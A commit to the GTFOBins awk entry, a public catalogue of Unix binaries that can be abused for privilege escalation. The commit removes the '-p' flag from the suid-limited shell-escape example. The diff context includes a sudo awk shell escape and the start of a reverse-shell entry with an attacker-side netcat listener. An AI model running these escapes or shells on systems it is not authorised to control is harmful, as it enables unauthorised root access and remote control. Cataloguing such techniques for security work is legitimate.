Remove the -p option from suid-limited

It is useless because:
- if Debian-like, it is not supported and does not drop anyway;
- otherwise the `system()`-like function already used a shell that dropped the
  privileges.

_gtfobins/awk.md

@@ -5,7 +5,7 @@ functions:
   sudo-enabled:
     - code: sudo awk 'BEGIN {system("/bin/sh")}'
   suid-limited:
-    - code: ./awk 'BEGIN {system("/bin/sh -p")}'
+    - code: ./awk 'BEGIN {system("/bin/sh")}'
   reverse-shell-non-interactive:
     - description: Run `nc -l -p 12345` on the attacker box to receive the shell.
       code: |